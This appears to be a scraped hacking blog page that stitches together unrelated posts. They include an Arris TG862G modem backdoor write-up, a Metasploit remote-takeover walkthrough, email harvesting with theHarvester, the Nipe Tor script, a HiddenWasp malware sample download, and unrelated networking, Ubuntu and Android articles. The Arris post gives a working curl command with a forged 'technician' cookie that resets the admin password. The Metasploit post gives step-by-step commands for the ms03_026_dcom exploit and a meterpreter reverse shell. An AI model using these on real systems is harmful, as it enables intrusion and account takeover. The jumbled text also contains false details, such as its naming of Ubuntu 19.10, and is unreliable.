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Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -

Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.

Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):

Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9

All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:

{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

And after base64 decoding the "credential" value we get:

{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:

Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9

Which decodes to the following:

{"credential":"dGVjaG5pY2lhbjo="}

And finally:

{"credential":"technician:"}

Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(

That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:

That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:

Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:

SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);

Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:

HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}

What about setting a new value? Surely that will not work....

That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:

This functionality can be wrapped up in the following curl command:

curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'

Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this ~~bug~~ backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.

More information

Networking | Switching And Routing | Tutorial 3 | 2018

Welcome to my 3rd new tutorial of networking (Routing and Switching). In this blog you will able to watch an interesting video about basic device navigation such as changing device (router or switch) name, configuration of login password, configuring a device information, router IP addresses and many more.

What is router?

Router is a network layer device which is the 3rd layer in the OSI model which is used to communicate different networks. It is an intelligent device fixed at the boundary of network that connects to other networks and responsible for end to end delivery of the packet that requires an IP address which is known as the logical address which is the basic identity of the device just like our identity card number or roll number and so on, for the identification of source and destination devices. Router is the gateway of the network having two interfaces such as inbound and the outbound interface through which the traffic comes in from different networks and comes out traffic to the different networks.

What is an IP address?

Internet protocol (IP) address is a numeric label given to each and every device in the network for the identification of the device just like our roll numbers in collages, universities which identity each and every student uniquely everywhere. So same concept here, it is a logical address which is used whenever the device want to communicate outside the network that means to another network.

What is Switch?

Switch is basically layer 2 device, which is used to connect two or more than two devices with each other in the same network. It is an intelligent device which doesn't allow the broadcast. It requires Media access control (MAC) address to communicate within the network. Now let's move to the video for further.

Once you have the data you need to interact with a contract on the blockchain via some OSINT how do you actually interface with it? That's the question we are going to answer in this second video. We will take the ABI contract array and use it to interact with methods on the blockchain via Web3.js and then show how this correlates to its usage in an HTML file

Lab Video Part 2: Connecting to a Smart Contract:

Time to Exploit an Application:

Exploit lab time, I created an vulnerable application you can use to follow along in the next video. Lab files can be downloaded from the same location as the last blog located below. Grab the AuthorizationLab.zip file:

Lab file downloads:

https://github.com/cclabsInc/BlockChainExploitation

Ok so you can see what's running on the blockchain, you can connect to it, now what? Now we need to find a vulnerability and show how to exploit it. Since we are talking about privacy in this blog and using it to bypass issues. Lets take a look at a simple authorization bypass we can exploit by viewing an authorization coding error and taking advantage of it to bypass restrictions set in the Smart Contract. You will also learn how to setup a local blockchain for testing purposes and you can download a hackable application to follow along with the exercises in the video..

Lab Video Part 3: Finding and hacking a Smart Contract Authorization Issue:

Summary:

In this part of the series you learned a lot, you learned how to transfer your OSINT skills to the blockchain. Leverage the information found to connect to that Smart Contract. You also learned how to interact with methods and search for issues that you can exploit. Finally you used your browsers developer console as a means to attack the blockchain application for privilege escalation.

Related news

Theharvester: Email Harvesting Throughout Year

You might have harvested many things upto now but what we are going to harvest today is something bad :)

Requirements:

A Linux box (I'm using Kali Linux)
theharvester program (already available in Kali Linux)

So what does theharvester harvest? Well it harvests email addresses. theharvester is an Information gathering tool. If you want a list of emails to spam you can get that easily from theharvester tool and go on Spamming (I'm joking its illegal). It's a security tool that helps you in pentesting an organization (as always it can be used for evil as well). You can gather emails from an organization and look for potential victims to attack or use brute-force techniques to get their passwords or Social Engineer them into doing something that will let you compromise some or all systems in the organization. Uhh there are so many things that you can do when you have access to someone's email address.

OK stop talking and start doing.

Fire up a terminal in your kali box and type this command:

theharvester -d hotmail.com -l 50 -b google

In a small amount of time you'll see your terminal flooded with 200 hotmail.com email address. What does this command mean?

theharvester is the tool name that we are using
-d <domain_name> specifies the domain (or website) who's email addresses we're looking for, in our case it was hotmail.com
-l <number> specifies the number of results that we want in the output, I limited it to 50
-b <source> specifies the source on which to look for email addresses, I specified google as the source

Besides google we can specify any of the follow as source:
google, googleCSE, bing, bingapi, pgp, linkedin, google-profiles, people123, jigsaw, twitter, googleplus, all
Here the last entry all means look in every available source.

Let's say you wanted to look in every available source they you should specify the following command:

theharvester -d hotmail.com -b all

-f is another great flag which can be utilized to save the output in case we want to SPAM them later (just kidding) or for other reasons (I'm thinking positive). -f flag saves the result in html or xml format. Let's do just that:

theharvester -d gmail.com -l 50 -b google -f emailaddresses.html

here -f flag is followed by the location where we want to store the file and the name of file, in our case we stored it in our pwd (present working directory) with the name emailaddresses.html.

Above picture shows an html output generated by harvester.

That's it for this tutorial hope to see you next time!

More info

Nipe - A Script To Make TOR Network Your Default Gateway

Tor enables users to surf the Internet, chat and send instant messages anonymously, and is used by a wide variety of people for both Licit and Illicit purposes. Tor has, for example, been used by criminals enterprises, Hacktivism groups, and law enforcement agencies at cross purposes, sometimes simultaneously.

Nipe is a Script to make Tor Network your Default Gateway.

This Perl Script enables you to directly route all your traffic from your computer to the Tor Network through which you can surf the Internet Anonymously without having to worry about being tracked or traced back.

Download and install:

    git clone https://github.com/GouveaHeitor/nipe
    cd nipe
    cpan install Switch JSON LWP::UserAgent

Commands:

    COMMAND          FUNCTION
    install          Install dependencies
    start            Start routing
    stop             Stop routing
    restart          Restart the Nipe process
    status           See status

    Examples:

    perl nipe.pl install
    perl nipe.pl start
    perl nipe.pl stop
    perl nipe.pl restart
    perl nipe.pl status

Bugs

Report bugs in my email: [hi@heitorgouvea.me]

Download Nipe

Read more

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.

Linux Machine (Kali Linux or BackTrack 5)
Metasploit (Built in the mentioned Linux OS)
Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.

Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
After the initialization of msfconsole, standard checks, we will see the window like below.
Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server. To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

Related news

Cómo Instalar Ubuntu 19.10 Junto A Windows O Como Sistema Operativo Único

Aunque Windows haya tomado la delantera en los ordenadores, y así mismo haya incursionado en los dispositivos móviles, aún existen usuarios que no les agrada el sistema operativo por excelencia, tal vez sea por la cantidad de licencias que hay que adquirir para no incurrir en fraude o en gastos por compra de software compatibles al tratarse de un sistema sin código libre. Pues bien así como se presentó alguna vez Remix Os, un software que permitía combinar iOS y Windows, hoy te presentamos una alternativa para combinar Ubuntu con Windows.

De la misma manera como Windows ha evolucionado desde Windows XP hasta Windows 10, también Ubuntu ha logrado presentar nuevas actualizaciones y esta es una de las versiones más recientes, se trata de la actualización 19.10, una versión de código libre y adaptable en cualquier ordenador, recuerda hacer las particiones pertinentes antes de realizar cualquier instalación.

Aunque se le conoce con el serial 19.10, esta versión de Ubuntu tiene un nombre propio, Zesty Zapus, con lanzamiento único. Una versión que le dice adiós a las particiones de intercambio, entregando al usuario un archivo modificable en lugar de particiones o unidades de disco fragmentado. Otras ventajas radican en la posibilidad de mejorar el rendimiento del ordenador por su poco consumo de memoria RAM, una de las razones por la cual muchos usuarios lo prefieren. Todo el proceso se verá reflejado en tu ordenador, si sigues los pasos establecidos en el siguiente vídeo.

Presentamos este post como una alternativa para los usuarios que desean probar algunas bondades que puede ofrecer un sistema operativo diferente al ya mencionado Windows. Agradecemos al YouTuber BuclesUbuntu, por tomarse su trabajo muy en serio, presentándole a muchos usuarios los tutoriales con información explicita, pueden visitar su canal siguiendo este enlace: BuclesUbuntu

Para descargar da clic aquí

Agradecemos a todos nuestros usuarios por permitirnos llevarles este tipo de contenidos, si usted desea hacer algún aporte o sugerencia, puedes escribirnos en la barra de comentarios, estaremos atentos a su participación. También te recomendamos leer: (Cómo instalar Windows en unidades externas)

HiddenWasp Linux Malware Backdoor Samples

Here are Hidden Wasp Linux backdoor samples.
Enjoy

Reference

Intezer HiddenWasp Malware Stings Targeted Linux Systems

Download

Download. Email me if you need the password (see in my profile)

File informatio

8914fd1cfade5059e626be90f18972ec963bbed75101c7fbf4a88a6da2bc671b
8f1c51c4963c0bad6cf04444feb411d7
shell

f321685342fa373c33eb9479176a086a1c56c90a1826a0aef3450809ffc01e5d
52137157fdf019145d7f524d1da884d7
elf

f38ab11c28e944536e00ca14954df5f4d08c1222811fef49baded5009bbbc9a2
ba02a964d08c2afe41963bf897d385e7
shell

e9e2e84ed423bfc8e82eb434cede5c9568ab44e7af410a85e5d5eb24b1e622e3
cbcda5c0dba07faced5f4641aab1e2cd
elf shared-lib

d66bbbccd19587e67632585d0ac944e34e4d5fa2b9f3bb3f900f517c7bbf518b
2b13e6f7d9fafd2eca809bba4b5ea9a6
64bits elf shared-lib

2ea291aeb0905c31716fe5e39ff111724a3c461e3029830d2bfa77c1b3656fc0
568d1ebd8b6fb17744d3c70837e801b9
shell

8e3b92e49447a67ed32b3afadbc24c51975ff22acbd0cf8090b078c0a4a7b53d
33c3f807caea64293add29719596f156
shell

609bbf4ccc2cb0fcbe0d5891eea7d97a05a0b29431c468bf3badd83fc4414578
71d78c97eb0735ec6152a6ff6725b9b2
tar-bundle gzip contains-elf

d596acc70426a16760a2b2cc78ca2cc65c5a23bb79316627c0b2e16489bf86c0
6d1cd68384de9839357a8be27894182b
tar-bundle gzip

0fe1248ecab199bee383cef69f2de77d33b269ad1664127b366a4e745b1199c8
5b134e0a1a89a6c85f13e08e82ea35c3
64bits elf

Related word

Leo's Noob

I would like to send a salve to my friend noob at Rivendel in Brazilian company hahaha

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How To Automatically Translate Any Android App Into Any Language

There is the number of applications which are not having the features of translating apps to your favorite languages. This makes it difficult for the users to translate apps into their native language. Today, I am going to tell you about an application which will help you to Automatically Translate Any Android App into Any Language.

Nowadays there are around hundreds of application on play store which is having the feature of translate but some applications don't have this features. This is just because they don't have proper developers or sometimes translators.

There is an application launched by Akhil Kedia from XDA Developer which made it possible for all the users to translate the application to any language you need. This is something which everyone needs it.

Akhil Kedia built an Xposed module in which users can easily change the language of any application to whichever they like or love. Personally, we all love English language but there are peoples in many parts of the world they are suitable for other languages.

Automatically Translate Any Android App into Any Language

The best part about this Xposed Module is that it translates the application to any language whichever you like and there are around many languages which you can try it. The other best part about this application is that the user interface which is amazing.

In an Android application, the best thing is the user interface. This is something which helps users to download the module or application to run again and again. There are about many settings which can be changed from the application.

Read also;- How To Hack and Track any Phone

The setup process is a bit different from other applications but if you will look at the application you will definitely love it. Just because of too many settings and features available in the application and you can turn it to any language without any crashing issues of the application.

Requirements:

Rooted Android Phone
Xposed Framework installed on your phone.
Android 5.0 or higher.
Unknown Source enabled (You might be knowing it)

How to Automatically Translate Any Android App into Any Language

Download the module called as All Trans from here: Download

Now, after installation, it will ask you to reboot your phone to activate the module
Now, you need to get the API Key to get it you need to sign up with Yandex first so sign up: Yandex Sign up

Then after sign up you will get the API key just enter the API key in the All-Trans application.

Open All Trans Application and the swipe right to Global Settings.

Click on Enter Yandex Subscription key and then enter your key.

In Global Settings click on Translate from and select the Language the application is already in. (Eg: English)

Now, click on translate to and select your favorite language. This will change the language.

Swipe left and select the applications which you need to translate and done.

After selecting just open the application and the language is translated automatically.

Final Words:

This is the best and easy way to Automatically Translate Any Android App into Any Language. I hope you love this article.Share this article with your friends and keep visiting for more tips and tricks like this and I will meet you in the next one.
Stay Updated Tune IemHacker

Sunday, April 26

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Saturday, April 25

Networking | Switching And Routing | Tutorial 3 | 2018

What is router?

What is an IP address?

What is Switch?

Lab Video Part 2: Connecting to a Smart Contract: